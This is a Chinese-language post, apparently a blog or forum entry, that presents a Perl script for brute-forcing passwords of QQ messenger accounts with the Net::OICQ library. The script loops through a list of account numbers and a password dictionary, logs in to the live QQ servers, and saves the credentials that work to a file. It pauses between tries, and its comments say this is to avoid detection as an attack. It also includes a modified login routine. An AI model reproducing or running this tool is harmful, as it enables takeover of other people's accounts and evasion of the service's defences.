采用Net::OICQ编写qq暴力破解程序

#!/usr/bin/env perl
use strict;
use Net::OICQ::TextConsole;

#print "Crypt::OICQ version $Crypt::OICQ::VERSION, Net::OICQ version $Net::OICQ::VERSION/n";
print "暴力扫描QQ用户列表密码!/n=============================/n";

my $usage = <<'EOF';
Usage:
qq_pwd.pl 用户列表文件 密码字典文件
EOF

my $uid_file = $ARGV[0] or die '请出入用户列表文件名称!';
my $dic_file = $ARGV[1] or die '请出入破解字典文件名称!';

my $invisible= 0;
my $udp = 0;
my $debug = 0;

my $mode = $invisible ? 'Invisible' : 'Normal';
my $proto = $udp ? 'udp' : 'tcp';
$| = 1;

my ($uid, $pwd, @a_uid, @a_pwd);

#打开QQ号码段文件
#每行一个QQ号码
open UID_FILE,$uid_file or die "不能打开文件:$uid_file $!/n";
@a_uid = <UID_FILE>;
close UID_FILE;

#打开暴力破解字典文件
#每行一个密码
open PWD_FILE,$dic_file or die "不能打开文件:$dic_file $!/n";
@a_pwd = <PWD_FILE>;
close PWD_FILE;

foreach $uid (@a_uid){
chomp $uid;
next if $uid eq '';
print '$uid=',$uid,"/n";

#首先使用QQ本身号码测试一次
print '$pwd=',$uid,"/n";
&check_pwd($uid, $pwd, $mode, $proto);

&prevent_blank;

foreach $pwd (@a_pwd){
chomp $pwd;
next if $pwd eq '';
print '$pwd=',$pwd,"/n";

&check_pwd($uid, $pwd, $mode, $proto);

&prevent_blank;
}

}

#检查QQ号码
sub check_pwd {
my ($_uid, $_pwd, $_mode, $_proto) = @_;

my $oicq = new Net::OICQ;
$oicq->{EventQueueSize} = 100;
$oicq->{FontSize} = '10'; # This can be random
$oicq->{FontColor} = 'random';
$oicq->{Debug} = $debug;

$oicq->login($_uid, $_pwd, $_mode, $_proto) or warn "Failed to login./n";

if ( $oicq->{Login_Status} != 0 ) { #$oicq->{Login_Status}为我添加到OICQ.pm中的增强,返回登录状态
print 'Login_Status=',$oicq->{Login_Status},"/n";
print 'login_Desc=',$oicq->{Login_Desc},"/n";
}else{
print "用户密码正确:$_pwd/n";
$oicq->logout;
open OUTFILE,'>>out.txt' or die "不能输出文件!/n";
print OUTFILE "uid=$_uid/tpwd=$_pwd/n";
close OUTFILE;

}
}

#防止被服务器列入攻击列表
sub prevent_blank {
my $sleep_sec = '10';

for (my $sec=0; $sec <= $sleep_sec; $sec++) {
#print "sleep $sec second !/n";
print $sec,' ';
sleep 1;
}
}

#END { defined $oicq && defined $oicq->{Socket} && $oicq->logout }

#OICQ.pm
#our $Login_Status;
#sub login {
# my ($self, $id, $pw, $mode, $proto, $proxy) = @_;
# $self->set_user($id, $pw);
# $self->{Key} = "";
# $| = 1;
#
# if (defined $mode && exists $ConnectMode{$mode}) {
# $self->log_t("login as $id in $mode mode");
# $self->{ConnectMode} = $mode;
# } else {
# $self->log_t("login as $id, default to invisible mode");
# $self->{ConnectMode} = 'Invisible';
# }
# # Default to tcp connection
# $proto = 'tcp' unless defined($proto) && $proto eq 'udp';
# my @servers = $self->get_servers($proto);
# my $login_packet;
# SVR: foreach my $svr (@servers) {
# $self->mesg("Connecting to $proto server $svr...");
# my $socket = $self->connect($proto, $svr, $proxy);
# next SVR unless defined $socket;
# $self->mesg("socket created...") if $self->{Debug};
#
# unless ($login_packet) {
# my $token = $self->get_login_token($svr, $proto, $proxy);
# next SVR unless $token;
# $login_packet = $self->build_login_packet($token);
# }
# my $plain = $self->decrypt_login_response($login_packet);
# unless(defined $plain) {
# $login_packet = undef;
# next SVR;
# }
# $self->mesg("decrypted login resp: ", unpack("H*", $plain), "/n") if $self->{Debug};
# my $login = ord($plain);
# if ($login == 0) { # login successfull
# $self->{Key} = substr($plain, 1, 0x10);
# $self->{Addr} = $self->show_address(substr($plain, 0x15, 6));
# $self->{LoginTime} = unpack('N', substr($plain, 0x21, 4));
# $self->{Addr2} = $self->show_address(substr($plain, 0x7b, 4));
# $self->{LoginTime2} = unpack('N', substr($plain, 0x7f, 4));
# $self->mesg("ok./n");
# $self->{Login_Status} = $login; #zhangdl 添加,以便获取用户登录的失败状态
# $self->{Login_Desc} = $plain; #zhangdl 每个登录状态后均返回登录描述
# last SVR;
# } elsif ($login == 1) { # redirect to another server
# $svr = $self->show_address(substr($plain, 5, 6));
# ($self->{SvrIP}, $self->{SvrPort}) = split(/:/, $svr);
# $self->{Socket} = undef;
# $self->log_t("redirected to server $svr");
# $self->mesg(" redirected./n");
# $self->{Login_Status} = $login;
# $self->{Login_Desc} = $plain;
# redo SVR;
# } elsif ($login == 9 or $login == 5) { # wrong password
# $self->mesg("$plain/nError code $login/n");
# $self->{Login_Status} = $login;
# $self->{Login_Desc} = $plain;
# last SVR;
# } elsif ($login == 10) { # redirect to another server
# $svr = $self->show_address(substr($plain, -4));
# $self->mesg("redirected to server $svr (code $login)./n");
# $self->{SvrIP} = $svr;
# $self->{Socket} = undef;
# $socket = undef;
# $self->{Login_Status} = $login;
# $self->{Login_Desc} = $plain;
# redo SVR;
# } else {
# my $h = unpack("H*", $plain);
# $self->mesg("failed with error code $login/n$h/n");
# $self->{Login_Status} = $login;
# $self->{Login_Desc} = $plain;
# last SVR;
# }
# }
#
# return 0 unless $self->{Key};
#
# # Make sure we logout when control-C is pressed
# $SIG{INT} = sub { $self->logout; exit 1 };
# # Prepare LogoutPacket for logout
# $self->{LogoutPacket} = $self->build_logout_packet;
# $self->{LastKeepaliveTime} = time;
#
# return 1;
#}